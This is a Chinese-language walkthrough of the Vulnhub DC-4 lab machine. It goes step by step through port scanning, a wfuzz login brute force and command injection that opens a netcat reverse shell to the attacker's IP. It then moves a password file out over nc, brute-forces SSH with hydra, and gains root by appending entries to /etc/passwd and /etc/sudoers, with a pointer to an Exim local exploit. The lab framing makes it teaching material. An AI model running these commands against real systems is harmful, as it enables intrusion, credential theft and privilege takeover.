文章来源|MS08067 安全实验室
本文作者:大方子(Ms08067实验室核心成员)
文章最后附靶机下载地址
主机信息
实验过程
主机信息
DC4:192.168.229.136
Kali:192.168.229.135
先发现内网存活主机
sudo arp-scan --interface eth0 192.168.229.1/24
然后查看靶机开放的端口
sudo nmap -A -p- -T4 -v 192.168.229.136
访问80,是一个登录页面
既然遇到登录页面,那就可以尝试看看,是否有弱口令
# 使用的字典
https://github.com/rootphantomer/Blasting_dictionary/tree/master/%E5%B8%B8%E7%94%A8%E8%8B%B1%E6%96%87%E7%94%A8%E6%88%B7%E5%90%8D%E5%92%8C%E5%A5%87%E8%91%A9%E5%AF%86%E7%A0%81
这里我是用的是Wfuzz来进行爆破
# -c :我记得是彩色输出
# -t :设置线程数量
# -w :字典文件
# -hw : 隐藏返回word字数为17的信息,这个靶机如果凭证错误的话word是17
# -d : 请求体设置
wfuzz -c -t 20 -w /usr/share/wordlists/usernames.txt -w /usr/share/wordlists/passwords.txt --hw 17 -d "username=FUZZ&password=FUZ2Z" http://192.168.229.136/login.php
得到账号和密码
admin - happy
登陆后发现,是有类似命令执行的功能的
这个时候burp抓包看看
这里我直接反弹shell用操作
nc -e+/bin/bash 192.168.229.135 4444这里要将空格变为+号
nc+-e+/bin/bash+192.168.229.135+4444
查看下passwd看看有什么用户适合提权
这里可以看到charles、jim、sam有/bin/bash,那么就从这3个用户开始入手
去这几个用户的家目录看看有没有什么收获
可以看到jim目录下面有线索
在backups里面看到有一个old-passwords.txt的备份
将这些密码复制下来并对jim进行ssh爆破,因为在信息手机阶段我们可以看到靶机是打开了22端口
这里可以用nc进行文件传输
# Kali
nc -nvlp 5555 > old-passwords.bak# DC4
nc 192.168.229.135 5555 < /home/jim/backups/old-passwords.bak
现在用hydra对jim账号进行SSH爆破
hydra -l jim -P /home/kali/vulnhub/dc4/old-passwords.txt ssh://192.168.229.136
[22][ssh] host: 192.168.229.136 login: jim password: jibril04
登陆jim的ssh,查看有没有sudo权限
说明要从其他方面入手,这里我们登录SSH提示有邮件,查看下
From [email protected] Sat Apr 06 21:15:46 2019
Return-path: <[email protected]>
Envelope-to: [email protected]
Delivery-date: Sat, 06 Apr 2019 21:15:46 +1000
Received: from charles by dc-4 with local (Exim 4.89)
(envelope-from <[email protected]>)
id 1hCjIX-0000kO-Qt
for [email protected]; Sat, 06 Apr 2019 21:15:45 +1000
To: [email protected]
Subject: Holidays
MIME-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 8bit
Message-Id: <[email protected]>
From: Charles <[email protected]>
Date: Sat, 06 Apr 2019 21:15:45 +1000
Status: OHi Jim,
I'm heading off on holidays at the end of today, so the boss asked me to give you my password just in case anything goes wrong.Password is: ^xHhA&hvim0y
See ya,
Charles
这里给出了Charles的密码,那么我们切换到Charles
Charles^xHhA&hvim0y
看下charles的sudo
可以看到使用teehee提权,teehee就是tee的变体从标准输入读取并写入标准输出和文件
我们可以借助teehee往passwd写入一个root账号即可得到root 权限
echo "cooper::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
尴尬的是因为是没有密码,一直无法登录,看了下别人都是可以登录我也找不出原因
于是换了思路,直接给charles赋予完全的root权限
echo 'charles ALL=(ALL:ALL) NOPASSWD:ALL' | sudo teehee -a /etc/sudoers
然后直接sudo登录root账号
sudo su - root
这里还有一种提权方法
通过cat jim的邮件我们可以看到Exim的版本为4.89
有一个CVE-2019-10149可以使用
searchsploit Exim
searchsploit -p linux/local/46996.sh
将exp拷贝过来,开启Python的HTTP服务,让靶机进行下载执行
然后执行脚本得到root权限
靶机下载地址:http://www.five86.com/downloads/DC-4.zip
扫描下方二维码加入星球学习
加入后邀请你进入内部微信群,内部群永久有效!